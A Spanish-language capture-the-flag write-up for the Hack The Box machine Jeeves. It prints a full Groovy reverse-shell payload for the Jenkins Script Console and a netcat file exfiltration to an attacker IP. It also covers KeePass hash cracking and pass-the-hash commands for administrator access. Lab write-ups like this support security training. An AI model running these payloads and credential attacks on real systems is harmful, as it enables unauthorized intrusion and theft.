En este post voy a vulnerar la máquina Jeeves de Hack the Box. Es una máquina Windows de nivel medio basada en jenkins pero muy sencilla de resolver.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.
nmap -p- -n --open --min-rate 5000 10.10.10.63

En la máquina hay cuatro puertos abiertos. Escaneo los cuatro puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p80,135,445,50000 -sC -sV 10.10.10.63 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-05 20:09 CET Nmap scan report for 10.10.10.63 Host is up (0.11s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Ask Jeeves 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 50000/tcp open http Jetty 9.4.z-SNAPSHOT |_http-server-header: Jetty(9.4.z-SNAPSHOT) |_http-title: Error 404 Not Found Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 4h15m16s, deviation: 0s, median: 4h15m15s | smb-security-mode: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2022-01-05T23:24:31 |_ start_date: 2022-01-05T23:21:32 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 48.25 seconds
HTTP
Puerto 80
Accedo a la web por el navegador y me aparece una consola de búsqueda.

Después de probar varias opciones veo que siempre me muestra la misma pantalla de error de servidor, así que leo el código fuente y veo que la consola está cargando una imagen a la que redirige siempre.


Puerto 50000
Accedo al puerto 50000 por el navegador y veo un mensaje de error 404.

Hago un fuzzing de directorios con gobuster y encuentro uno llamado /askjeeves.
gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

Accedo a la ruta y llego a una pantalla del servidor Jenkins (servidor de automatización gratuito y de código abierto) en el que parece que ya tengo los privilegios de administrador.

Explotación
Como Jenkins se utiliza para integrar código, tiene su propia consola desde la que ejecutar código. Para llegar a ella, solo tengo que dirigirme a la ruta Manage Jenkins > Script Console.



Sabiendo que la máquina victima es Windows, ejecuto un whoami a través de cmd.exe y me devuelve como respuesta el usuario kohsuke. El código a ejecutar se puede escribir de muchas formas.
def cmd = "cmd.exe /c whoami".execute()
println("${cmd.text}")

Pudiendo ejecutar comandos en la máquina víctima, el siguiente paso es conseguir una shell reversa. Podría hacer que cargase un binario que yo ponga en línea pero también puedo conseguirla mediante comandos Groovy.
Pongo un netcat a la escucha, en mi máquina atacante, por el puerto 7897 y ejecuto el siguiente código en la consola de Jenkins, consiguiendo una shell reversa.
String host="10.10.14.3";
int port=7897;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();


La flag de usuario la encuentro en la ruta C:\Users\kohsuke\Desktop\user.txt.

Escalada de Privilegios
Esta máquina tiene dos vías para la escalada de privilegios. Una a través de un fichero de KeePass (gestor de contraseñas) y otro a través del SeImpersonatePrivilege.
KeePass
En la ruta C:\Users\kohsuke\Documents encuentro un fichero llamado CEH.kdbx.

Después de probar varios métodos, solo encontré uno que permitiese descargarse el fichero sin corromperlo.
Primero tengo que subir un binario de netcat para windows, el que va por defecto en kali me sirve (/usr/share/windows-binaries/nc.exe), y luego subirlo a la máquina víctima compartiendo un servidor de samba.
Creo el servidor de samba en mi máquina.
sudo impacket-smbserver -smb2support evil .
Descargo el binario en la máquina víctima.
copy \\10.10.14.3\evil\nc.exe nc.exe

Ahora transfiero el binario de KeePass. Primero indico en mi máquina el fichero que voy a descargar.
nc -nlvp 8888 > CEH.kdbx
Y por último, desde la máquina víctima, indico a donde tiene que enviar el fichero.
$ nc.exe 10.10.14.3 8888 -w 3 < CEH.kdbx

Para averiguar la contraseña del fichero primero tengo que calcular su hash con keepas2john y luego rompo el hash con John the Ripper y el diccionario rockyou.txt.
$ keepass2john CEH.kdbx
$ keepass2john CEH.kdbx > hash
$ john --format=KeePass --wordlist=/usr/share/wordlists/rockyou.txt hash

Como puedo ver en la imagen anterior, la contraseña es moonshine1.
Abro el fichero y encuentro varias credenciales. La mayoría no son de utilidad pero la de Backup stuff si me sirve.


Al copiar la contraseña y verla completa, lo primero que pienso es que se trata de un hash NTLM y podría utilizarlo para hacer un pass-the-hash.
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
El único problema es que no conozco el usuario y si verdaderamente este hash se encuentra en la máquina. Como smb está activo en la máquina, voy a utilizar crackmapexec para comprobar si este hash es válido.
crackmapexec smb 10.10.10.63 crackmapexec smb 10.10.10.63 -u administrator -H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Al aparecer Pwn3d!, significa que este hash me vale para autenticarme con el usuario administrator del sistema.
Consigo una consola de cmd de la máquina víctima con el binario pth-winexe (va por defecto en kali pero se puede descargar aquí).
pth-winexe --user=administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 --system //10.10.10.63 cmd.exe

Me dirijo al escritorio del administrador (C:\Users\Administrator\Desktop) y encuentro un fichero en texto plano llamado hm.txt que, al abrirlo, me dice que busque la flag mas en profundidad.
cd C:\Users\Administrator\Desktop dir type hm.txt

Vuelvo a enumerar el contenido del directorio pero mostrando los ADS (alternative Data Streams), algo similar al strings de unix, y veo otro fichero con el mismo prefijo (hm.txt) pero con el sufijo root.txt, que es un stream de tipo $DATA y pesa un poco menos que hm.txt. Abro el nuevo fichero y encuentro la flag de root.
$ dir /r
$ more < hm.txt:root.txt:$DATA

SeImpersonatePrivilege
Enumero los privilegios de mi usuario y veo que aparece SeImpersonatePrivilege como Enabled.
whoami /priv

Este método ya lo he utilizado en las máquinas Grandpa, Granny, Bart, Conceal y Tally así que no lo voy a desarrollar en esta máquina.
